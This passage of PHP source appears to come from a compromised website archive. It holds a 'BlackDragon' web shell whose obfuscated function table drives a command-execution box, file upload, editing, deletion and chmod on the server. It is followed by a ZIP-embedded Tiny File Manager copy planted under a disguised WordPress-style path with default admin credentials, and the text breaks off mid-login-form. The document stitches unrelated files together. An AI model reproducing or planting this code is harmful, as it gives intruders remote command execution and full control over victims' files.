    $r .= chr(hexdec($str[$i].$str[$i + 1]));
  }
  return $r;
}

function flash($message, $status, $class, $redirect = false) {
  if (!empty($_SESSION["message"])) {
    unset($_SESSION["message"]);
  }
  if (!empty($_SESSION["class"])) {
    unset($_SESSION["class"]);
  }
  if (!empty($_SESSION["status"])) {
    unset($_SESSION["status"]);
  }
  $_SESSION["message"] = $message;
  $_SESSION["class"] = $class;
  $_SESSION["status"] = $status;
  if ($redirect) {
    header('Location: ' . $redirect);
    exit();
  }
  return true;
}

function clear() {
  if (!empty($_SESSION["message"])) {
    unset($_SESSION["message"]);
  }
  if (!empty($_SESSION["class"])) {
    unset($_SESSION["class"]);
  }
  if (!empty($_SESSION["status"])) {
    unset($_SESSION["status"]);
  }
  return true;
}

if (isset($_GET['dir'])) {
  $path = $_GET['dir'];
  $f[13]($_GET['dir']);
} else {
  $path = $f[12]();
}

$path = $f[14]('\\', '/', $path);
$exdir = $f[15]('/', $path);

function getOwner($item) {
	if (function_exists("posix_getpwuid")) {
		$downer = @posix_getpwuid(fileowner($item));
		$downer = $downer['name'];
	} else {
		$downer = fileowner($item);
	}
	if (function_exists("posix_getgrgid")) {
		$dgrp = @posix_getgrgid(filegroup($item));
		$dgrp = $dgrp['name'];
	} else {
		$dgrp = filegroup($item);
	}
	return $downer . '/' . $dgrp;
}

if (isset($_POST['newFolderName'])) {
  if ($f[29]($path . '/' . $_POST['newFolderName'])) {
    $f[16]("Create Folder Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Create Folder Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
  if ($f[4]($_POST['newFileName'], $_POST['newFileContent'])) {
    $f[16]("Create File Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Create File Failed", "Failed", "error", "?dir=$path");
  }
}

if (isset($_POST['newName']) && isset($_GET['item'])) {
  if ($_POST['newName'] == '') {
    $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  }
  if ($f[30]($path. '/'. $_GET['item'], $_POST['newName'])) {
    $f[16]("Rename Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Rename Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
  if ($f[4]($path. '/'. $_GET['item'], $_POST['newContent'])) {
    $f[16]("Edit Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Edit Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
  if ($_POST['newPerm'] == '') {
    $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  }
  if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
    $f[16]("Change Permission Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Change Permission", "Failed", "error", "?dir=$path");
  }
}
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
  if (is_dir($_GET['item'])) {
    if ($f[27]($_GET['item'])) {
      $f[16]("Delete Successfully!", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Delete Failed", "Failed", "error", "?dir=$path");
    }
  } else {
    if ($f[28]($_GET['item'])) {
      $f[16]("Delete Successfully!", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Delete Failed", "Failed", "error", "?dir=$path");
    }
  }
}
if (isset($_FILES['uploadfile'])) {
  $total = count($_FILES['uploadfile']['name']);
  for ($i = 0; $i < $total; $i++) {
    $mainupload = $f[17]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
  }
  if ($total < 2) {
    if ($mainupload) {
      $f[16]("Upload File Successfully! ", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Upload Failed", "Failed", "error", "?dir=$path");
    }
  }
  else{
    if ($mainupload) {
      $f[16]("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Upload Failed", "Failed", "error", "?dir=$path");
    }
  }
}

$dirs = $f[18]($path);

?>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
  <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
  <title><?= $_SERVER['SERVER_NAME'] ?>&#58;<?= $_SERVER['SERVER_PORT'] ?></title>
</head>

<body class="bg-dark text-light">
  <div class="container-fluid">
    <div class="py-3" id="main">
      <div class="box shadow bg-dark p-4 rounded-3">
      	<div class="info mb-3">
        	<i class="fa fa-server"></i>&ensp;<?= $f[0]() ?><br>
        	<i class="fa fa-microchip"></i>&ensp;<?= $_SERVER['SERVER_SOFTWARE'] ?><br>
        	<i class="fa fa-satellite-dish"></i>&ensp;<?= !@$_SERVER['SERVER_ADDR'] ? $f[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?>
        </div>
        <div class="breadcrumb">
          <i class="fa fa fa-folder pt-1"></i>&ensp;<?php foreach ($exdir as $id => $pat) : 
						if ($pat == '' && $id == 0):
					?>
					<a href="?dir=/" class="text-decoration-none text-light">/</a>
					<?php endif; if ($pat == '') continue; ?>
					<?php if ($id + 1 == count($exdir)) : ?>
					<span class="text-secondary"><?= $pat ?></span>
					<?php else : ?>
					<a href="?dir=
					<?php
					for ($i = 0; $i <= $id; $i++) {
						echo "$exdir[$i]";
						if ($i != $id) echo "/";
					}
					?>
					" class="text-decoration-none text-light"><?= $pat ?></a><span class="text-light"> /</span>
          <?php endif; ?>
          <?php endforeach; ?>
          <a href="?" class="text-decoration-none text-light">&nbsp;[ HOME ]</a>
          <a href="?logout" class="text-decoration-none text-light">&nbsp;[ LOGOUT ]</a>
        </div>
        <div class="d-flex justify-content-between">
          <div class="p-2">
            <form action="" method="post">
              <div class="row">
                <div class="col-md-9 mb-3">
                  <input type="text" class="form-control form-control-sm" name="command" placeholder="Command">
                </div>
                <div class="col-md-3">
                  <button type="submit" class="btn btn-outline-light btn-sm">Exec</button>
                </div>
              </div>
            </form>
          </div>
          <div class="p-2">
            <form action="" method="post" enctype="multipart/form-data">
              <div class="row">
                <div class="col-md-9 mb-3">
                  <input type="file" class="form-control form-control-sm" name="uploadfile[]" multiple id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload">
                </div>
                <div class="col-md-3">
                  <button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
                </div>
              </div>
            </form>
          </div>
        </div>
        <div class="container" id="tools">
          <?php if (isset($_POST['command'])) : ?>
          <div class="row justify-content-center">
            <pre><?= $f[20]($_POST['command']) ?></pre>
          </div>
          <?php endif; ?>
          <?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $action = $_GET['action'] ?>
          <div class="row justify-content-center">
            <?php if ($action == 'rename' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label">New Name</label>
                <input type="text" class="form-control" name="newName" value="<?= $_GET['item'] ?>">
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php elseif ($action == 'edit' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label"><?= $_GET['item'] ?></label>
                <textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control"><?= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="jscopy()">Copy</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php elseif ($action == 'view' && isset($_GET['item'])) : ?>
            <div class="mb-3">
              <label for="name" class="form-label">File Name : <?= $_GET['item'] ?></label>
              <textarea name="newContent" rows="10" class="form-control" disabled=""><?= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
              <br>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </div>
            <?php elseif ($action == 'chmod' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label"><?= $_GET['item'] ?></label>
                <input type="text" class="form-control" name="newPerm" value="<?= $f[11]($f[10]('%o', $f[6]($_GET['item'])), -4); ?>">
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php endif; ?>
          </div>
          <?php endif; ?>
          <div class="row justify-content-center">
            <div class="collapse" id="newFolderCollapse" data-bs-parent="#tools" style="transition:none;">
              <form action="" method="post">
                <div class="mb-3">
                  <label for="name" class="form-label">Folder Name</label>
                  <input type="text" class="form-control" name="newFolderName" placeholder="BlackDragon">
                </div>
                <button type="submit" class="btn btn-outline-light">Submit</button>
              </form>
            </div>
            <div class="collapse" id="newFileCollapse" data-bs-parent="#tools" style="transition:none;">
              <form action="" method="post">
                <div class="mb-3">
                  <label for="name" class="form-label">File Name</label>
                  <input type="text" class="form-control" name="newFileName" placeholder="blackdragon.php">
                </div>
                <div class="mb-3">
                  <label for="name" class="form-label">File Content</label>
                  <textarea name="newFileContent" rows="10" class="form-control" placeholder="Hello World - BlackDragon"></textarea>
                </div>
                <button type="submit" class="btn btn-outline-light">Submit</button>
              </form>
            </div>
          </div> 
        </div>
        <div class="table-responsive">
          <table class="table table-hover table-dark text-light">
            <thead>
              <tr>
                <td style="width:35%">Name</td>
                <td style="width:10%">Type</td>
                <td style="width:10%">Size</td>
                <td style="width:13%">Owner/Group</td>
                <td style="width:10%">Permission</td>
                <td style="width:13%">Last Modified</td>
                <td style="width:9%">Actions</td>
              </tr>
            </thead>
            <tbody class="text-nowrap">
              <?php
                foreach ($dirs as $dir) :
                  if (!is_dir($dir)) continue;
              ?>
              <tr>
                <td>
                  <?php if ($dir === '..') : ?>
                  <a href="?dir=<?= $f[22]($path); ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
                  <?php elseif ($dir === '.') :  ?>
                  <a href="?dir=<?= $path; ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
                  <?php else : ?>
                  <a href="?dir=<?= $path . '/' . $dir ?>" class="text-decoration-none text-light"><i class="fa fa-folder"></i> <?= $dir ?></a>
                  <?php endif; ?>
                </td>
                <td class="text-light"><?= $f[8]($dir) ?></td>
                <td class="text-light">-</td>
                <td class="text-light"><?= $f[35]($dir) ?></td>
                <td class="text-light"><?= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?></td>
                <td class="text-light"><?= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?></td>
                <td>
                  <?php if ($dir != '.' && $dir != '..') : ?>
                  <div class="btn-group">
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a><a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
                  </div>
                  <?php elseif ($dir === '.') : ?>
                  <div class="btn-group">
                    <a data-bs-toggle="collapse" href="#newFolderCollapse" role="button" aria-expanded="false" aria-controls="newFolderCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-folder-plus"></i></a>
                    <a data-bs-toggle="collapse" href="#newFileCollapse" role="button" aria-expanded="false" aria-controls="newFileCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-plus"></i></a>
                  </div>
                  <?php endif; ?>
                </td>
              </tr>
              <?php endforeach; ?>
              <?php
                foreach ($dirs as $dir) :
                  if (!is_file($dir)) continue;
              ?>
              <tr>
                <td>
                  <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=view" class="text-decoration-none text-light"><i class="fa fa-file-code"></i> <?= $dir ?></a>
                </td>
                <td class="text-light"><?= ($f[25]('mime_content_type') ? $f[24]($dir) : $f[8]($dir)) ?></td>
                <td class="text-light"><?= $f[26]($dir) ?></td>
                <td class="text-light"><?= $f[35]($dir) ?></td>
                <td class="text-light"><?= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?></td>
                <td class="text-light"><?= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?></td>
                <td>
                  <?php if ($dir != '.' && $dir != '..') : ?>
                  <div class="btn-group">
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a>
                    <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
                  </div>
                  <?php endif; ?>
                </td>
              </tr>
              <?php endforeach; ?>
            </tbody>
          </table>
        </div>
        <div class="text-light">&#169; BlackDragon <script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script></div>
      </div>
    </div>
  </div>
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.4.0/dist/sweetalert2.all.min.js"></script>
  <script>
  <?php if (isset($_SESSION['message'])) : ?>
        Swal.fire(
          '<?= $_SESSION['status'] ?>',
          '<?= $_SESSION['message'] ?>',
          '<?= $_SESSION['class'] ?>'
        )
  <?php endif; clear(); ?>
    function deleteConfirm(url) {
      event.preventDefault()
      Swal.fire({
          title: 'Are you sure?',
          icon: 'warning',
          showCancelButton: true,
          confirmButtonColor: '#3085d6',
          cancelButtonColor: '#d33',
          confirmButtonText: 'Yes, delete it!'
      }).then((result) => {
          if (result.isConfirmed) {
            window.location.href = url
        }
      })
    }
    function jscopy() {
      var jsCopy = document.getElementById("CopyFromTextArea");
      jsCopy.focus();
      jsCopy.select();
      document.execCommand("copy");
    }
  </script>
</body>
</html>PK       ! 'q q '  readability-score-groups/wp/content.phpnu [        <?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":true,"show_hidden":true,"hide_Cols":false,"theme":"dark"}';

/**
 * H3K ~ Tiny File Manager V2.6
 * @author CCP Programmers
 * @github https://github.com/prasathmani/tinyfilemanager
 * @link https://tinyfilemanager.github.io
 */

//TFM version
define('VERSION', '2.6');

//Application Title
define('APP_TITLE', 'Tiny File Manager');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' => '$2a$12$AvmkfBdyp5XQWiqDgjE4HOZCDDC3F/yxTbf2tW8Qk/ExBke84Z.ma', //admin@123
    'user' => '$2a$12$AvmkfBdyp5XQWiqDgjE4HOZCDDC3F/yxTbf2tW8Qk/ExBke84Z.ma' //12345
);

// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array(
    'user'
);

// Global readonly, including when auth is not being used
$global_readonly = false;

// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();

// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;

// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';

// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC

// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
//make sure update $root_url in next section
$root_path = $_SERVER['DOCUMENT_ROOT'];

// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';

// Server hostname. Can set manually if wrong
// $_SERVER['HTTP_HOST'].'/folder'
$http_host = $_SERVER['HTTP_HOST'];

// input encoding for iconv
$iconv_input_encoding = 'UTF-8';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'm/d/Y g:i A';

// Path display mode when viewing file information
// 'full' => show full path
// 'relative' => show path relative to root_path
// 'host' => show path on the host
$path_display_mode = 'full';

// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';

// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';

// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '';

// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', '/path/to/folder', ...)
$exclude_items = array();

// Online office Docs Viewer
// Available rules are 'google', 'microsoft' or false
// Google => View documents using Google Docs Viewer
// Microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB)

// chunk size used for upload
// eg. decrease to 1MB if nginx reports problem 413 entity too large
$upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB)

// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',    // local ipv4
    '::1'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    '0.0.0.0',      // non-routable meta ipv4
    '::'            // non-routable meta ipv6
);

// if User has the external config file, try to use it to override the default config above [config.php]
// sample config - https://tinyfilemanager.github.io/config-sample.txt
$config_file = __DIR__ . '/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

// External CDN resources that can be used in the HTML (replace for GDPR compliance)
$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.32.2/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);

// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---

// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);

// upload chunk size
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);

// private key and session name to store to the session
if (!defined('FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'filemanager');
}

// Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

//available languages
$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

// if fm included
if (defined('FM_EMBED')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); // Prevent logout issue after page was cached
    session_name(FM_SESSION_ID);
    function session_error_handling_function($code, $msg, $file, $line)
    {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

//Generating CSRF Token
if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
        $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url . $wd . DIRECTORY_SEPARATOR . $directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);

// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[FM_SESSION_ID]['logged']);
    unset($_SESSION['token']);
    fm_redirect(FM_SELF_URL);
}

// Validate connection IP
if ($ip_ruleset != 'OFF') {
    function getClientIP()
    {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        } else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        } else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if ($ip_ruleset == 'AND') {
        if ($whitelisted == true && $blacklisted == false) {
            $proceed = true;
        }
    } else
    if ($ip_ruleset == 'OR') {
        if ($whitelisted == true || $blacklisted == false) {
            $proceed = true;
        }
    }

    if ($proceed == false) {
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if ($ip_silent == false) {
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}

// Checking if the user is logged in or not. If not, it will show the login form.
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
        // Logged
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        // Logging In
        sleep(1);
        if (function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) {
                $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[FM_SESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID]['logged']);
        fm_show_header_login();
?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center align-content-center h-100vh">
                    <div class="card-wrapper">
                        <div class="card fat" data-bs-theme="<?php echo FM_THEME; ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                        <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z" />
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z" />
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z" />
                                                </g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
